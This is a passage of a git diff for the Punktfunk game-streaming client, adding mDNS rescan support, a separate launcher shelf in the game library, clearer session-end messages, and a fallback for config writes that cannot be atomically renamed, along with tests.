Some(rescan); while !stop.load(Ordering::SeqCst) { // mDNS churn. while let Ok(ev) = discovery_rx.try_recv() { @@ -512,6 +516,14 @@ impl ServiceState { } ConsoleCmd::Probe => { self.last_probe = Instant::now() - Duration::from_secs(60); + // "Refresh presence" means the mDNS half too, not just the QUIC sweep: the browse + // runs for the process's lifetime and `mdns-sd` backs its re-query interval off to + // as much as an hour, so a host that appeared since startup may never be asked + // for again. (No console screen emits Probe yet — every face button on the home + // screen is spoken for — but the plumbing is correct for when one does.) + if let Some(r) = &self.rescan { + r.request(); + } } ConsoleCmd::SetPin { key, @@ -791,6 +803,7 @@ fn spawn_fetch( id: g.id.clone(), title: g.title.clone(), store: g.store.clone(), + launcher: g.is_launcher(), }) .collect(), ); @@ -831,6 +844,7 @@ fn load_fake(shared: &LibraryShared, path: &str) { id: g.id.clone(), title: g.title.clone(), store: g.store.clone(), + launcher: g.is_launcher(), }) .collect(), ); diff --git a/clients/windows/src/app/connect.rs b/clients/windows/src/app/connect.rs index 7e5a4fde..6f43b049 100644 --- a/clients/windows/src/app/connect.rs +++ b/clients/windows/src/app/connect.rs @@ -490,9 +490,13 @@ fn wake_and_connect( let (ctx, ss, st) = (ctx.clone(), set_screen.clone(), set_status.clone()); std::thread::spawn(move || { - let rx = crate::discovery::browse(); + let (rx, rescan) = crate::discovery::browse(); let mut seen: Vec = Vec::new(); let mut wait = WakeWait::new(); + // A waking host starts advertising at a moment we can't predict, and `mdns-sd`'s own + // re-query interval has doubled well past a minute by the time a boot finishes — so ask + // again periodically instead of waiting to be told (matches the GTK client's wake wait). + let mut ticks: u32 = 0; loop { // Cancel already returned the UI to the host list — stop re-sending and tear down. if cancel.load(Ordering::SeqCst) { @@ -555,6 +559,10 @@ fn wake_and_connect( } None => {} } + ticks += 1; + if ticks.is_multiple_of(5) { + rescan.request(); + } std::thread::sleep(Duration::from_secs(1)); } }); diff --git a/clients/windows/src/app/hosts.rs b/clients/windows/src/app/hosts.rs index a27245f4..eb56ba73 100644 --- a/clients/windows/src/app/hosts.rs +++ b/clients/windows/src/app/hosts.rs @@ -595,6 +595,22 @@ pub(crate) fn hosts_page(props: &HostsProps, cx: &mut RenderCx) -> Element { move || sa.call(true) }) .into()]; + // Re-query mDNS. The browse runs for the app's lifetime, and `mdns-sd` backs its + // re-query interval off to as much as an hour — so a host that appeared since + // startup, or whose announcement was lost to multicast, may need an actual ask. + actions.push( + icon_btn("Scan the network for hosts again", Symbol::Refresh) + .on_click({ + let (c, st) = (ctx.clone(), set_status.clone()); + move || { + if let Some(r) = c.shared.rescan.lock().unwrap().as_ref() { + r.request(); + } + st.call("Scanning the network\u{2026}".to_string()); + } + }) + .into(), + ); // The couch UI's front door, beside the other page actions. Absent on ARM64, // where the session binary ships without its Skia console. if CONSOLE_UI_AVAILABLE { diff --git a/clients/windows/src/app/library.rs b/clients/windows/src/app/library.rs index 773eaf86..42561c44 100644 --- a/clients/windows/src/app/library.rs +++ b/clients/windows/src/app/library.rs @@ -39,6 +39,10 @@ pub(crate) struct Game { pub(crate) id: String, pub(crate) title: String, pub(crate) store: String, + /// This entry opens the launcher itself (Steam Big Picture, Heroic) rather than a title — + /// design D4. Reduced from the wire's `role` by `GameEntry::is_launcher`, so "anything that + /// isn't `launcher` is a game" is decided in one place for every client. + pub(crate) launcher: bool, } #[derive(Clone, PartialEq, Default)] @@ -135,6 +139,7 @@ pub(crate) fn start_fetch(ctx: &Arc, set_library: &AsyncSetState String { .collect() } +/// A small group label above a tile grid ("Launchers" / "Games"). Only drawn when the page shows +/// both groups — a single unlabelled grid is what every launcher-less library looked like before. +fn group_heading(text: &str) -> Element { + text_block(text) + .font_size(12.0) + .semibold() + .foreground(ThemeRef::SecondaryText) + .margin(edges(2.0, 8.0, 2.0, 2.0)) + .into() +} + /// One poster tile: the artwork (or a monogram placeholder while it loads) with the store /// badge overlaid top-left, the title below, tap-to-launch across the whole tile. fn poster_tile( @@ -228,13 +244,20 @@ fn poster_tile( .stretch(Stretch::UniformToFill) .height(poster_h) .into(), + // A launcher rarely has poster art, and an art-less launcher drawn like an art-less game + // reads as "a game whose cover failed to load". So it names its launcher instead of + // showing a title monogram, and the frame below picks up the accent stroke. None => border( - text_block(initials(&game.title)) - .font_size(28.0) - .semibold() - .foreground(ThemeRef::SecondaryText) - .horizontal_alignment(HorizontalAlignment::Center) - .vertical_alignment(VerticalAlignment::Center), + text_block(if game.launcher { + store_label(&game.store).to_string() + } else { + initials(&game.title) + }) + .font_size(if game.launcher { 18.0 } else { 28.0 }) + .semibold() + .foreground(ThemeRef::SecondaryText) + .horizontal_alignment(HorizontalAlignment::Center) + .vertical_alignment(VerticalAlignment::Center), ) .background(ThemeRef::SubtleFill) .height(poster_h) @@ -242,14 +265,27 @@ fn poster_tile( }; let framed = border(grid(vec![ poster, - pill(store_label(&game.store), Pill::Neutral) - .horizontal_alignment(HorizontalAlignment::Left) - .vertical_alignment(VerticalAlignment::Top) - .margin(uniform(6.0)) - .into(), + // `Pill::Info` rather than a solid accent fill — `style.rs` is explicit that + // white-on-bright is unreadable here. + pill( + store_label(&game.store), + if game.launcher { + Pill::Info + } else { + Pill::Neutral + }, + ) + .horizontal_alignment(HorizontalAlignment::Left) + .vertical_alignment(VerticalAlignment::Top) + .margin(uniform(6.0)) + .into(), ])) .corner_radius(8.0) - .border_brush(ThemeRef::CardStroke) + .border_brush(if game.launcher { + ThemeRef::Accent + } else { + ThemeRef::CardStroke + }) .border_thickness(uniform(1.0)); border( @@ -332,22 +368,43 @@ pub(crate) fn library_page(props: &LibraryProps, cx: &mut RenderCx) -> Element { .into(), ), LibraryPhase::Ready(games) => { - let tiles: Vec = games - .iter() - .map(|g| { - let (ctx2, ss, st) = (ctx.clone(), ss.clone(), st.clone()); - let (target, id) = (target.clone(), g.id.clone()); - poster_tile( - g, - props.state.art.get(&g.id).map(String::as_str), - poster_h, - Box::new(move || { - initiate_launch(&ctx2, target.clone(), id.clone(), &ss, &st) - }), - ) - }) - .collect(); - body.push(tile_grid(tiles, cols, POSTER_GAP)); + let tile = |g: &Game| -> Element { + let (ctx2, ss, st) = (ctx.clone(), ss.clone(), st.clone()); + let (target, id) = (target.clone(), g.id.clone()); + poster_tile( + g, + props.state.art.get(&g.id).map(String::as_str), + poster_h, + Box::new(move || initiate_launch(&ctx2, target.clone(), id.clone(), &ss, &st)), + ) + }; + // Design D4: launcher entries get their own shelf above the titles, never + // interleaved. `partition` is stable, so the host's title order survives in each + // group. Headings appear only when both groups exist, so a library without launcher + // entries renders exactly as it did before. + let (launchers, titles): (Vec<&Game>, Vec<&Game>) = + games.iter().partition(|g| g.launcher); + let both = !launchers.is_empty() && !titles.is_empty(); + if !launchers.is_empty() { + if both { + body.push(group_heading("Launchers")); + } + body.push(tile_grid( + launchers.iter().map(|g| tile(g)).collect(), + cols, + POSTER_GAP, + )); + } + if !titles.is_empty() { + if both { + body.push(group_heading("Games")); + } + body.push(tile_grid( + titles.iter().map(|g| tile(g)).collect(), + cols, + POSTER_GAP, + )); + } } } diff --git a/clients/windows/src/app/mod.rs b/clients/windows/src/app/mod.rs index df1826ef..fbf74786 100644 --- a/clients/windows/src/app/mod.rs +++ b/clients/windows/src/app/mod.rs @@ -147,6 +147,10 @@ impl PartialEq for Svc { #[derive(Default)] pub(crate) struct Shared { pub(crate) target: Mutex, + /// Forces the app's single LAN browse to re-query — the hosts page's Refresh. Installed by + /// the discovery effect below; `None` until then (and if the browse never started, in which + /// case Refresh is simply inert rather than a second, competing browse). + pub(crate) rescan: Mutex>, /// The live session child (spawn mode) — the status page's Disconnect and the /// request-access Cancel kill it. A FRESH handle is installed per spawn. pub(crate) session: Mutex, @@ -459,8 +463,10 @@ fn root(cx: &mut RenderCx, ctx: &Arc) -> Element { cx.use_effect((), { let set_hosts = set_hosts.clone(); + let ctx = ctx.clone(); move || { - let rx = discovery::browse(); + let (rx, rescan) = discovery::browse(); + *ctx.shared.rescan.lock().unwrap() = Some(rescan); std::thread::spawn(move || { let mut acc: Vec = Vec::new(); while let Ok(h) = rx.recv_blocking() { diff --git a/clients/windows/src/app/settings.rs b/clients/windows/src/app/settings.rs index 4cb89169..1bb9891a 100644 --- a/clients/windows/src/app/settings.rs +++ b/clients/windows/src/app/settings.rs @@ -1917,10 +1917,35 @@ pub(crate) fn settings_page( } else { border(vstack(Vec::::new())).into() }; + // Every save on this page is fire-and-forget by design — a failed settings write must + // never take a stream down — so a client whose config store rejects writes looks entirely + // normal: toggles move, profiles appear, and NOTHING survives a restart. That is exactly + // how it reached us from the field ("it's in read-only mode"), with no log file to send + // either. When the store is refusing writes, say so, name the path, and stop pretending. + // + // Same always-mounted-slot discipline as `sheet_slot`: one child in both states, and the + // SAME KIND in both (a Border wrapping the bar, versus an empty background-less Border — + // which per style.rs is not hit-testable, so it swallows no clicks). Neither a grid child + // nor a vstack child is ever added or removed, which is where this reconciler's phantom + // bookkeeping breaks. + let store_slot: Element = match pf_client_core::trust::store_health::last_error() { + Some(err) => border( + InfoBar::new("Your changes aren\u{2019}t being saved") + .message(format!( + "Punktfunk can\u{2019}t write to its settings folder, so nothing on this \ + page will survive a restart. {err}" + )) + .error() + .is_closable(false), + ) + .margin(edges(24.0, 12.0, 28.0, 0.0)) + .into(), + None => border(vstack(Vec::::new())).into(), + }; // The bar rides an Auto row above the nav's Star row, so the nav (and the sheet's scrim // over it) still fills the rest of the window. grid(vec![ - scope_bar.grid_row(0), + Element::from(vstack(vec![store_slot, scope_bar])).grid_row(0), Element::from(grid(vec![nav.into(), sheet_slot, confirm])).grid_row(1), ]) .rows([GridLength::Auto, GridLength::STAR]) diff --git a/clients/windows/src/discovery.rs b/clients/windows/src/discovery.rs index c10ab505..afce6dd5 100644 --- a/clients/windows/src/discovery.rs +++ b/clients/windows/src/discovery.rs @@ -3,6 +3,12 @@ //! results to the UI. Ported verbatim from the GTK client (`mdns-sd` is cross-platform). use mdns_sd::{ServiceDaemon, ServiceEvent}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; +use std::time::Duration; + +/// DNS-SD service type punktfunk hosts advertise (host side: `punktfunk_host::discovery`). +const SERVICE_TYPE: &str = "_punktfunk._udp.local."; #[derive(Clone, Debug, PartialEq)] pub struct DiscoveredHost { @@ -24,10 +30,25 @@ pub struct DiscoveredHost { pub os: String, } -/// Browse continuously for the app's lifetime. The thread exits when the receiver is -/// dropped (the send fails) or the daemon dies. -pub fn browse() -> async_channel::Receiver { +/// Forces the running browse to re-query now — the hosts page's Refresh. Mirrors +/// `pf_client_core::discovery::Rescan`; see there for why a client needs one (`mdns-sd` re-queries +/// on a backoff that doubles out to an hour, so a long-lived browse is effectively passive). +#[derive(Clone, Debug)] +pub struct Rescan(Arc); + +impl Rescan { + /// Ask the browse thread to put a fresh query on the wire. Coalesces; returns immediately. + pub fn request(&self) { + self.0.store(true, Ordering::Relaxed); + } +} + +/// Browse continuously for the app's lifetime, with a handle that forces an immediate re-query. +/// The thread exits when the receiver is dropped (the send fails) or the daemon dies. +pub fn browse() -> (async_channel::Receiver, Rescan) { let (tx, rx) = async_channel::unbounded(); + let flag = Arc::new(AtomicBool::new(false)); + let requested = flag.clone(); std::thread::Builder::new() .name("punktfunk-mdns".into()) .spawn(move || { @@ -38,18 +59,45 @@ pub fn browse() -> async_channel::Receiver { return; } }; - let receiver = match daemon.browse("_punktfunk._udp.local.") { + let mut receiver = match daemon.browse(SERVICE_TYPE) { Ok(r) => r, Err(e) => { tracing::warn!(error = %e, "mDNS browse failed — discovery disabled"); return; } }; - while let Ok(event) = receiver.recv() { + loop { + // The worker has to notice that its consumer went away even when NOTHING is + // arriving — the normal state of a LAN with no hosts on it. The old blocking + // `recv()` only ever learned that from a failed send, so a bounded consumer (the + // wake-and-wait below spawns one browse per wake) left this thread and its daemon + // — another thread, and a socket bound to :5353 — running for the app's lifetime. + // Checked at the TOP so the `continue` arms below can't skip it either. + if tx.is_closed() { + break; + } + // Re-browsing the same type replaces the daemon's listener: it replays the cache + // into the new channel, queries immediately, and resets the backoff. + if requested.swap(false, Ordering::Relaxed) { + match daemon.browse(SERVICE_TYPE) { + Ok(r) => receiver = r, + Err(e) => tracing::warn!(error = %e, "mDNS rescan failed"), + } + } + let event = match receiver.recv_timeout(Duration::from_millis(250)) { + Ok(event) => event, + Err(_) if receiver.is_disconnected() && receiver.is_empty() => break, + Err(_) => continue, // timed out — go round and look for a rescan request + }; if let ServiceEvent::ServiceResolved(info) = event { let props = info.get_properties(); let val = |k: &str| props.get_property_val_str(k).unwrap_or("").to_string(); - let Some(addr) = info.get_addresses().iter().next().map(|a| a.to_string()) + // IPv4 only, like every other client (`pf_client_core::discovery`): the core + // dials `format!("{host}:{port}").parse::()`, which cannot parse a + // bare IPv6 literal, and the host stack binds IPv4 sockets exclusively. Taking + // an arbitrary first address here rendered cards that failed on every click, + // because a host's OS responder commonly answers AAAA for its hostname. + let Some(addr) = info.get_addresses_v4().iter().next().map(|a| a.to_string()) else { continue; }; @@ -85,5 +133,5 @@ pub fn browse() -> async_channel::Receiver { let _ = daemon.shutdown(); }) .expect("spawn mdns thread"); - rx + (rx, Rescan(flag)) } diff --git a/clients/windows/src/main.rs b/clients/windows/src/main.rs index 80644027..110719b0 100644 --- a/clients/windows/src/main.rs +++ b/clients/windows/src/main.rs @@ -244,8 +244,8 @@ fn run_headless_cli(args: &[String], identity: (String, String)) { #[cfg(windows)] fn discover_and_print() { use std::time::{Duration, Instant}; - println!("Browsing the LAN for punktfunk hosts (~5 s)…"); - let rx = discovery::browse(); + println!("Browsing the LAN for Punktfunk hosts (~5 s)…"); + let (rx, _rescan) = discovery::browse(); let deadline = Instant::now() + Duration::from_secs(5); let mut seen = std::collections::HashSet::new(); while Instant::now() < deadline { diff --git a/crates/pf-client-core/src/discovery.rs b/crates/pf-client-core/src/discovery.rs index 7df42411..4432a6cb 100644 --- a/crates/pf-client-core/src/discovery.rs +++ b/crates/pf-client-core/src/discovery.rs @@ -5,8 +5,13 @@ use mdns_sd::{ServiceDaemon, ServiceEvent}; use std::collections::BTreeMap; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::Arc; use std::time::{Duration, Instant}; +/// DNS-SD service type punktfunk hosts advertise (host side: `punktfunk_host::discovery`). +const SERVICE_TYPE: &str = "_punktfunk._udp.local."; + #[derive(Clone, Debug)] pub struct DiscoveredHost { /// Stable row key: the advertised host id, falling back to the mDNS fullname. @@ -54,10 +59,32 @@ pub enum DiscoveryEvent { Removed { fullname: String }, } -/// Browse continuously. The worker exits when the returned receiver is dropped, or when the -/// daemon dies — checked on a tick, so it stops even on a LAN where no advert ever arrives. -pub fn browse() -> async_channel::Receiver { +/// Forces the running browse to re-query now. Cheap to clone and hand to a UI thread; a request +/// made after the browse has ended is simply never read. +/// +/// Why a client needs one at all: `mdns-sd` re-queries on a DOUBLING backoff (1s, 2s, 4s … capped +/// at one hour), so a browse that has been up a while is effectively passive — it is listening for +/// announcements rather than asking. A host that starts advertising later, or whose announcement +/// was dropped (ordinary for multicast over Wi-Fi), can stay invisible for a very long time. +/// Re-querying resets that clock, which is what a Refresh button should do. +#[derive(Clone, Debug)] +pub struct Rescan(Arc); + +impl Rescan { + /// Ask the browse thread to put a fresh query on the wire. Returns immediately; the query + /// follows within a tick. Coalesces — several requests in a row cost one query. + pub fn request(&self) { + self.0.store(true, Ordering::Relaxed); + } +} + +/// Browse continuously, with a handle that forces an immediate re-query ([`Rescan`]). The worker +/// exits when the returned receiver is dropped, or when the daemon dies — checked on a tick, so +/// it stops even on a LAN where no advert ever arrives. +pub fn browse() -> (async_channel::Receiver, Rescan) { let (tx, rx) = async_channel::unbounded(); + let flag = Arc::new(AtomicBool::new(false)); + let requested = flag.clone(); std::thread::Builder::new() .name("punktfunk-mdns".into()) .spawn(move || { @@ -68,7 +95,7 @@ pub fn browse() -> async_channel::Receiver { return; } }; - let receiver = match daemon.browse("_punktfunk._udp.local.") { + let mut receiver = match daemon.browse(SERVICE_TYPE) { Ok(r) => r, Err(e) => { tracing::warn!(error = %e, "mDNS browse failed — discovery disabled"); @@ -88,6 +115,17 @@ pub fn browse() -> async_channel::Receiver { if tx.is_closed() { break; } + // Also at the TOP, and for the same reason: every `continue` below would skip it. + if requested.swap(false, Ordering::Relaxed) { + // Browsing the same type again REPLACES the daemon's listener for it: it + // replays the cache into the new channel (so nothing already known is lost), + // puts a fresh PTR query on the wire immediately, and — the point — resets the + // re-query backoff described on `Rescan`. + match daemon.browse(SERVICE_TYPE) { + Ok(r) => receiver = r, + Err(e) => tracing::warn!(error = %e, "mDNS rescan failed"), + } + } let event = match receiver.recv_timeout(Duration::from_millis(250)) { Ok(event) => event, Err(_) if receiver.is_disconnected() => break, @@ -147,7 +185,7 @@ pub fn browse() -> async_channel::Receiver { let _ = daemon.shutdown(); }) .expect("spawn mdns thread"); - rx + (rx, Rescan(flag)) } /// The advert map one browse window folded down to. Kept separate from [`discover_for`] so the @@ -174,7 +212,7 @@ fn fold(adverts: &mut Adverts, event: DiscoveryEvent) { /// wants one bounded call rather than a stream). The streaming [`browse`] stays the UI's door: /// a live hosts page wants adverts as they land, not a snapshot taken `timeout` after it opened. pub fn discover_for(timeout: Duration) -> Vec { - let rx = browse(); + let (rx, _rescan) = browse(); let deadline = Instant::now() + timeout; let mut adverts = Adverts::new(); while Instant::now() < deadline { diff --git a/crates/pf-client-core/src/library.rs b/crates/pf-client-core/src/library.rs index 6cd40089..84abb420 100644 --- a/crates/pf-client-core/src/library.rs +++ b/crates/pf-client-core/src/library.rs @@ -66,6 +66,20 @@ pub struct GameEntry { /// host's flattened `GameMeta`; the rest of the metadata is not decoded until a UI needs it. #[serde(default)] pub platform: Option, + /// `"game"` (the default, and what an older host omits) or `"launcher"` — an entry that opens + /// the launcher itself (Steam Big Picture, Heroic) rather than a title. A UI may group these + /// separately; one that doesn't renders them as ordinary tiles, which is the intended + /// degradation (design D4). Kept a plain string: the host owns the vocabulary, and an unknown + /// future value must never fail the whole library decode. + #[serde(default)] + pub role: Option, +} + +impl GameEntry { + /// Whether this entry opens a launcher rather than a game. + pub fn is_launcher(&self) -> bool { + self.role.as_deref() == Some("launcher") + } } /// Errors surfaced to the UI so it can guide setup (the common case is "not paired yet"). diff --git a/crates/pf-client-core/src/session.rs b/crates/pf-client-core/src/session.rs index e2ed02e6..77ca0012 100644 --- a/crates/pf-client-core/src/session.rs +++ b/crates/pf-client-core/src/session.rs @@ -1202,7 +1202,27 @@ fn pump( } } Err(PunktfunkError::NoFrame) => {} - Err(PunktfunkError::Closed) => break Some("Host ended the session".to_string()), + // The session ended. `None` here means "normal finish" to every embedder — the browse + // console returns to the library with no status strip, the one-shot binary exits 0 + // quietly — so only an ending that actually went wrong should carry a message. + // Previously EVERY close reported "Host ended the session", which put an error-shaped + // line in front of the player for quitting their own game. + Err(PunktfunkError::Closed) => { + use punktfunk_core::client::PunktfunkEndReason as End; + break match connector.end_reason() { + // The player quit the game the host launched. Nothing to report; a launcher + // embedder returns to its library, which is where they were headed anyway. + End::GameExited => None, + // We closed it, or the host closed cleanly (an operator "End", or the session + // simply finishing). Both were asked for. + End::Local | End::HostEnded => None, + End::HostError => Some("The host ended the session with an error".to_string()), + End::Lost => Some("Connection lost".to_string()), + // No verdict (an older core, or the close raced the read): keep the wording + // this arm has always used rather than inventing a new one. + End::None => Some("Host ended the session".to_string()), + }; + } Err(e) => break Some(format!("session: {e:?}")), } diff --git a/crates/pf-client-core/src/trust.rs b/crates/pf-client-core/src/trust.rs index 42749c64..4af6b2df 100644 --- a/crates/pf-client-core/src/trust.rs +++ b/crates/pf-client-core/src/trust.rs @@ -91,22 +91,131 @@ fn lock_identity_perms(dir: &std::path::Path, key: &std::path::Path) { let _ = std::fs::set_permissions(key, std::fs::Permissions::from_mode(0o600)); } +/// A sibling temp path unique to this process. The stores below have five whole-file writers +/// (WinUI shell, session, console UI, CLI, Decky) and a single shared `.json.tmp` lets two of +/// them interleave: on Windows the second `fs::write` hits a sharing violation, and worse, one +/// process can rename the OTHER's half-written bytes over the target. The pid keeps each +/// writer on its own scratch file; the rename below removes it, so a leftover only survives a +/// hard kill. +fn temp_sibling(path: &Path) -> PathBuf { + let mut name = path.file_name().unwrap_or_default().to_os_string(); + name.push(format!(".tmp-{}", std::process::id())); + path.with_file_name(name) +} + /// Write a config file the safe way: a sibling temp file, then a rename over the target. A /// plain `fs::write` truncates first, so a crash, a full disk or a power cut between truncate /// and the last byte leaves an empty/half file — and these stores are what a client needs to /// find its hosts at all. Rename is atomic within a directory on both Unix and Windows /// (`MoveFileEx` with replace), so a reader ever sees the old file or the new one, never a /// torn one. Same discipline as the host's `session_settings.rs`. +/// +/// **But the rename is not always available, and losing the write is far worse than a torn +/// one.** The Windows client ships as an MSIX package, so every path here is rewritten by the +/// container's AppData virtualization before it reaches the filesystem — and when the package +/// is installed to a secondary drive (Settings ▸ Storage ▸ "New apps will save to: D:"), +/// Windows stores that redirected AppData on the *package's* volume, under +/// `D:\WpSystem\\AppData\`. The literal path we name still says `C:\Users\…`, so a rename +/// can end up straddling two volumes, and `std::fs::rename` is `MoveFileExW` with +/// `MOVEFILE_REPLACE_EXISTING` and *not* `MOVEFILE_COPY_ALLOWED` — a cross-volume move fails +/// outright with `ERROR_NOT_SAME_DEVICE`. Creating and writing files works fine, which is why +/// such an install starts, streams and pairs happily while every setting and profile silently +/// evaporates (field report 2026-08-05: "it's in read-only mode"). +/// +/// So a failed rename falls back to writing the target in place. That is exactly what the +/// identity files already do a few lines up — and those demonstrably work on the affected +/// installs — so the fallback is a path we know resolves. It gives up crash-atomicity for that +/// one write and nothing else: the temp+rename stays the normal route everywhere it works. +/// +/// Writes and reads of one literal path cannot disagree under that redirection — Microsoft +/// documents a single private-location-first resolution order for both, so whichever layer a +/// write lands in is the layer the next read finds. The fallback still verifies by reading +/// back: a silent write is the exact bug being fixed here, and this path only runs on an +/// install that has already proven it does something unusual. pub(crate) fn write_atomic(path: &Path, bytes: &[u8]) -> std::io::Result<()> { - let tmp = path.with_extension("json.tmp"); - std::fs::write(&tmp, bytes)?; - match std::fs::rename(&tmp, path) { - Ok(()) => Ok(()), - Err(e) => { - // Don't leave the temp behind to confuse the next writer (or a backup tool). - let _ = std::fs::remove_file(&tmp); - Err(e) + let tmp = temp_sibling(path); + let atomic = std::fs::write(&tmp, bytes).and_then(|()| std::fs::rename(&tmp, path)); + let Err(e) = atomic else { + store_health::clear(); + return Ok(()); + }; + // Don't leave the temp behind to confuse the next writer (or a backup tool). + let _ = std::fs::remove_file(&tmp); + match std::fs::write(path, bytes) { + Ok(()) => { + tracing::warn!( + path = %path.display(), + error = %e, + "atomic replace unavailable in this install; wrote the config in place instead", + ); + // Read it straight back. This whole bug was a write that reported success and + // vanished, so the fallback does not get to claim success on the strength of an + // `Ok(())` alone — on the one layered filesystem we know we run on, that is the + // failure mode to be paranoid about. Only on the degraded path, so the normal + // route pays nothing. + match std::fs::read(path) { + Ok(back) if back == bytes => { + store_health::clear(); + Ok(()) + } + Ok(_) => { + let e = std::io::Error::other( + "the file read back different from what was just written", + ); + store_health::record(path, &e); + Err(e) + } + Err(reread) => { + store_health::record(path, &reread); + Err(reread) + } + } } + // Both routes are gone: the store really is unwritable. Report the direct write's + // error — it describes the actual permission/space problem, where the rename's may + // only say the two paths landed on different volumes. + Err(direct) => { + store_health::record(path, &direct); + Err(direct) + } + } +} + +/// Whether the config store is accepting writes, so a front-end can *say so* when it is not. +/// +/// Every persistence call site in this crate is deliberately fire-and-forget — a failed +/// settings write must never take a stream down — which historically meant a client whose +/// store was unwritable looked completely normal: toggles moved, profiles appeared, and +/// nothing survived a restart. The field report that produced this module had no log file to +/// send either, so there was no signal anywhere. Recording the last failure centrally lets the +/// UI surface it without unpicking ~15 `let _ = …save()` call sites. +pub mod store_health { + use std::path::Path; + use std::sync::Mutex; + + static LAST_ERROR: Mutex> = Mutex::new(None); + + pub(crate) fn record(path: &Path, err: &std::io::Error) { + let msg = format!("{}: {err}", path.display()); + tracing::error!(store = %path.display(), error = %err, "cannot persist client config"); + if let Ok(mut slot) = LAST_ERROR.lock() { + *slot = Some(msg); + } + } + + pub(crate) fn clear() { + if let Ok(mut slot) = LAST_ERROR.lock() { + *slot = None; + } + } + + /// The most recent failure to persist a config file, if the last attempt failed. + /// + /// Tracks the last *attempt*, not a per-file verdict: a store that cannot be written fails + /// every file, so this latches for as long as the problem lasts and goes quiet the moment + /// any write gets through. + pub fn last_error() -> Option { + LAST_ERROR.lock().ok().and_then(|s| s.clone()) } } @@ -1012,6 +1121,15 @@ pub struct Settings { /// Experimental: the game-library browser ("Browse library…" on saved cards) — /// mirrors the Apple client's "Show game library" toggle, default off. pub library_enabled: bool, + /// Which colour family the gamepad UI's living backdrop drifts through — the shared + /// `ui_palette` key (`"violet"` = the brand default, then `tide`/`forest`/`ember`/ + /// `rose`/`graphite`; see `pf-console-ui`'s palette table, and the Apple/Android + /// clients' twins). Presentation only: nothing about a stream depends on it, which is + /// why it is a device preference and never part of a settings profile. An unknown + /// name reads as the default rather than erroring — a newer client may have shipped a + /// palette this binary doesn't know. + #[serde(default = "default_ui_palette")] + pub ui_palette: String, /// Send Wake-on-LAN before connecting to a saved host and wait for it to boot (the /// Apple client's "Auto-wake on connect"). Default ON — that was the unconditional /// behavior before this became a setting. Off is for hosts reached over a VPN, where @@ -1096,6 +1214,10 @@ fn default_true() -> bool { true } +fn default_ui_palette() -> String { + "violet".into() +} + fn default_pad_speaker() -> String { "pad".into() } @@ -1204,6 +1326,7 @@ impl Default for Settings { stats_verbosity: None, fullscreen_on_stream: true, library_enabled: false, + ui_palette: default_ui_palette(), auto_wake: true, invert_scroll: false, speaker_device: String::new(), @@ -1950,6 +2073,7 @@ mod tests { /// discipline all three client stores now share. #[test] fn write_atomic_replaces_and_cleans_up() { + let _guard = store_health_lock(); let dir = std::env::temp_dir().join(format!( "pf-client-core-test-{}", std::time::SystemTime::now() @@ -1963,7 +2087,112 @@ mod tests { assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":1}"); write_atomic(&p, b"{\"a\":2}").unwrap(); assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"a\":2}"); - assert!(!p.with_extension("json.tmp").exists()); + assert!(!temp_sibling(&p).exists()); + // Nothing else in the directory either — the scratch file is gone, not renamed aside. + let left: Vec<_> = std::fs::read_dir(&dir) + .unwrap() + .filter_map(|e| e.ok().map(|e| e.file_name())) + .collect(); + assert_eq!(left, vec![std::ffi::OsString::from("store.json")]); + let _ = std::fs::remove_dir_all(&dir); + } + + /// `store_health` is process-global, so the two tests that read it must not run at the same + /// time — one's successful write clears the other's recorded failure. Nothing else in the + /// crate's tests reaches `write_atomic`, so this lock is the whole serialization needed. + fn store_health_lock() -> std::sync::MutexGuard<'static, ()> { + static LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(()); + LOCK.lock().unwrap_or_else(|e| e.into_inner()) + } + + /// Two processes saving at once must not share one scratch file — the pid keeps them apart. + /// (Same-process, so this only proves the name varies with the pid, not the interleaving.) + #[test] + fn temp_sibling_is_per_process_and_a_sibling() { + let p = Path::new("/tmp/pf/client-windows-settings.json"); + let t = temp_sibling(p); + assert_eq!(t.parent(), p.parent()); + assert_eq!( + t.file_name().unwrap().to_str().unwrap(), + format!("client-windows-settings.json.tmp-{}", std::process::id()) + ); + // Must not collide with the store itself, nor look like one to `load()`. + assert_ne!(t, p.to_path_buf()); + } + + /// **The fix itself.** When the temp+rename route is unavailable, the bytes must still + /// reach the target — that is the difference between the field's "read-only mode" and a + /// working client. Simulated by parking a DIRECTORY on the (deterministic) temp sibling + /// path so the temp leg cannot be written; the field's install fails one step later, at + /// the rename, but both funnel into the same fallback, which is what this pins. + #[test] + fn the_atomic_route_failing_falls_back_to_an_in_place_write() { + let _guard = store_health_lock(); + let dir = std::env::temp_dir().join(format!( + "pf-client-core-inplace-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0) + )); + std::fs::create_dir_all(&dir).unwrap(); + let p = dir.join("store.json"); + std::fs::write(&p, b"{\"old\":true}").unwrap(); + + // Block the scratch path, so the atomic route cannot complete. + std::fs::create_dir_all(temp_sibling(&p)).unwrap(); + assert!(temp_sibling(&p).is_dir()); + + // The write must still report success AND actually be readable back — a silent + // `Ok(())` that lost the bytes is the bug, not the fix. + write_atomic(&p, b"{\"new\":true}").unwrap(); + assert_eq!(std::fs::read_to_string(&p).unwrap(), "{\"new\":true}"); + // Degraded, but not broken: nothing to warn the user about. + assert_eq!(store_health::last_error(), None); + + let _ = std::fs::remove_dir_all(&dir); + } + + /// The other end: when the in-place fallback ALSO fails, the error must surface rather + /// than be swallowed, because at that point nothing the user does on the page will stick. + #[test] + fn a_failed_rename_still_persists_the_write() { + let _guard = store_health_lock(); + let dir = std::env::temp_dir().join(format!( + "pf-client-core-fallback-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map(|d| d.as_nanos()) + .unwrap_or(0) + )); + std::fs::create_dir_all(&dir).unwrap(); + + // Sanity: the healthy path reports a healthy store. + let ok = dir.join("store.json"); + write_atomic(&ok, b"{}").unwrap(); + assert_eq!(store_health::last_error(), None); + + // Now the unwritable case: a directory in the target's place defeats BOTH the rename + // and the in-place write, so the error must surface instead of being swallowed. + let blocked = dir.join("blocked.json"); + std::fs::create_dir_all(&blocked).unwrap(); + std::fs::write(blocked.join("occupant"), b"x").unwrap(); + assert!(write_atomic(&blocked, b"{\"a\":1}").is_err()); + let reported = store_health::last_error().expect("an unwritable store must be 